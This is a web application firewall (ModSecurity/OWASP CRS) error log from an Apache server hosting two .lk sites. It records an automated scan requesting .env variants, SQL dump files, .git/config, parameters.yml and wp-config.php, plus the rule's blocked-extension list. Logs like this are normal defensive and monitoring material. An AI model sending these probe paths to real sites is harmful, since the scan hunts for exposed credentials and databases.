[Fri Jul 17 08:27:08.025747 2026] [security2:error] [pid 1993574:tid 1993574] [client 54.163.43.174:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "venee.lk"] [uri "/backup.sql"] [unique_id "almaBN0t9Kb_MdNxrg6-iAAAAAM"]
[Fri Jul 17 08:27:08.026285 2026] [security2:error] [pid 1993574:tid 1993574] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "venee.lk"] [uri "/backup.sql"] [unique_id "almaBN0t9Kb_MdNxrg6-iAAAAAM"]
[Fri Jul 17 08:27:08.026794 2026] [security2:error] [pid 1993574:tid 1993574] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "venee.lk"] [uri "/backup.sql"] [unique_id "almaBN0t9Kb_MdNxrg6-iAAAAAM"]
[Fri Jul 17 08:27:08.043399 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.163.43.174:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "venee.lk"] [uri "/.env.staging"] [unique_id "almaBIl9vhFBGA6D8l92HQAAAAw"]
[Fri Jul 17 08:27:08.043855 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "venee.lk"] [uri "/.env.staging"] [unique_id "almaBIl9vhFBGA6D8l92HQAAAAw"]
[Fri Jul 17 08:27:08.044428 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "venee.lk"] [uri "/.env.staging"] [unique_id "almaBIl9vhFBGA6D8l92HQAAAAw"]
[Fri Jul 17 08:27:08.065142 2026] [authz_core:error] [pid 2002425:tid 2002425] [client 54.163.43.174:0] AH01630: client denied by server configuration: /home/veneelk/public_html/wp-config.php
[Fri Jul 17 08:27:08.103399 2026] [security2:error] [pid 1994446:tid 1994446] [client 54.163.43.174:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "venee.lk"] [uri "/data.sql"] [unique_id "almaBF2NhE8i6ppze4etlgAAAAs"]
[Fri Jul 17 08:27:08.103932 2026] [security2:error] [pid 1994446:tid 1994446] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "venee.lk"] [uri "/data.sql"] [unique_id "almaBF2NhE8i6ppze4etlgAAAAs"]
[Fri Jul 17 08:27:08.104416 2026] [security2:error] [pid 1994446:tid 1994446] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "venee.lk"] [uri "/data.sql"] [unique_id "almaBF2NhE8i6ppze4etlgAAAAs"]
[Fri Jul 17 08:27:08.118130 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.163.43.174:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "venee.lk"] [uri "/.env.dev"] [unique_id "almaBI1dLClkUfK_dfHhRQAAAAI"]
[Fri Jul 17 08:27:08.118457 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "venee.lk"] [uri "/.env.dev"] [unique_id "almaBI1dLClkUfK_dfHhRQAAAAI"]
[Fri Jul 17 08:27:08.118883 2026] [security2:error] [pid 1993619:tid 1993619] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "venee.lk"] [uri "/.env.dev"] [unique_id "almaBI1dLClkUfK_dfHhRQAAAAI"]
[Fri Jul 17 08:27:08.121599 2026] [security2:error] [pid 1994976:tid 1994976] [client 54.163.43.174:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "venee.lk"] [uri "/.env.local"] [unique_id "almaBDRCJXF37-WnVv0iXQAAABI"]
[Fri Jul 17 08:27:08.121927 2026] [security2:error] [pid 1994976:tid 1994976] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "venee.lk"] [uri "/.env.local"] [unique_id "almaBDRCJXF37-WnVv0iXQAAABI"]
[Fri Jul 17 08:27:08.122409 2026] [security2:error] [pid 1994976:tid 1994976] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "venee.lk"] [uri "/.env.local"] [unique_id "almaBDRCJXF37-WnVv0iXQAAABI"]
[Fri Jul 17 08:27:08.126490 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.163.43.174:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "venee.lk"] [uri "/db.sql"] [unique_id "almaBHRlmrtCoY_COpciTwAAAAg"]
[Fri Jul 17 08:27:08.126875 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "venee.lk"] [uri "/db.sql"] [unique_id "almaBHRlmrtCoY_COpciTwAAAAg"]
[Fri Jul 17 08:27:08.127235 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "venee.lk"] [uri "/db.sql"] [unique_id "almaBHRlmrtCoY_COpciTwAAAAg"]
[Fri Jul 17 08:27:08.137738 2026] [security2:error] [pid 2005917:tid 2005917] [client 54.163.43.174:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "venee.lk"] [uri "/database.sql"] [unique_id "almaBHf2WrySr2miwA73XAAAABY"]
[Fri Jul 17 08:27:08.138183 2026] [security2:error] [pid 2005917:tid 2005917] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "venee.lk"] [uri "/database.sql"] [unique_id "almaBHf2WrySr2miwA73XAAAABY"]
[Fri Jul 17 08:27:08.138601 2026] [security2:error] [pid 2005917:tid 2005917] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "venee.lk"] [uri "/database.sql"] [unique_id "almaBHf2WrySr2miwA73XAAAABY"]
[Fri Jul 17 08:27:08.159378 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.43.174:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "venee.lk"] [uri "/.git/config"] [unique_id "almaBEhq6UAnqYko0LpXDwAAABE"]
[Fri Jul 17 08:27:08.159735 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "venee.lk"] [uri "/.git/config"] [unique_id "almaBEhq6UAnqYko0LpXDwAAABE"]
[Fri Jul 17 08:27:08.160175 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "venee.lk"] [uri "/.git/config"] [unique_id "almaBEhq6UAnqYko0LpXDwAAABE"]
[Fri Jul 17 08:27:08.167665 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.163.43.174:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaBIl9vhFBGA6D8l92HgAAAAw"]
[Fri Jul 17 08:27:08.167991 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaBIl9vhFBGA6D8l92HgAAAAw"]
[Fri Jul 17 08:27:08.168463 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaBIl9vhFBGA6D8l92HgAAAAw"]
[Fri Jul 17 08:27:08.178784 2026] [security2:error] [pid 1994446:tid 1994446] [client 54.163.43.174:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "venee.lk"] [uri "/dump.sql"] [unique_id "almaBF2NhE8i6ppze4etlwAAAAs"]
[Fri Jul 17 08:27:08.179453 2026] [security2:error] [pid 1994446:tid 1994446] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "venee.lk"] [uri "/dump.sql"] [unique_id "almaBF2NhE8i6ppze4etlwAAAAs"]
[Fri Jul 17 08:27:08.179982 2026] [security2:error] [pid 1994446:tid 1994446] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "venee.lk"] [uri "/dump.sql"] [unique_id "almaBF2NhE8i6ppze4etlwAAAAs"]
[Fri Jul 17 08:27:08.204953 2026] [security2:error] [pid 1994976:tid 1994976] [client 54.163.43.174:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "venee.lk"] [uri "/.env.backup"] [unique_id "almaBDRCJXF37-WnVv0iXgAAABI"]
[Fri Jul 17 08:27:08.205325 2026] [security2:error] [pid 1994976:tid 1994976] [client 54.163.43.174:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "venee.lk"] [uri "/.env.backup"] [unique_id "almaBDRCJXF37-WnVv0iXgAAABI"]
[Fri Jul 17 08:27:08.205705 2026] [security2:error] [pid 1994976:tid 1994976] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "venee.lk"] [uri "/.env.backup"] [unique_id "almaBDRCJXF37-WnVv0iXgAAABI"]
[Fri Jul 17 08:27:08.206257 2026] [security2:error] [pid 1994976:tid 1994976] [client 54.163.43.174:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "venee.lk"] [uri "/.env.backup"] [unique_id "almaBDRCJXF37-WnVv0iXgAAABI"]
[Fri Jul 17 08:27:09.487643 2026] [security2:error] [pid 1993619:tid 1993619] [client 100.24.67.159:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "systemtec.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaBY1dLClkUfK_dfHhRwAAAAI"]
[Fri Jul 17 08:27:09.487883 2026] [security2:error] [pid 1993619:tid 1993619] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "systemtec.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaBY1dLClkUfK_dfHhRwAAAAI"]
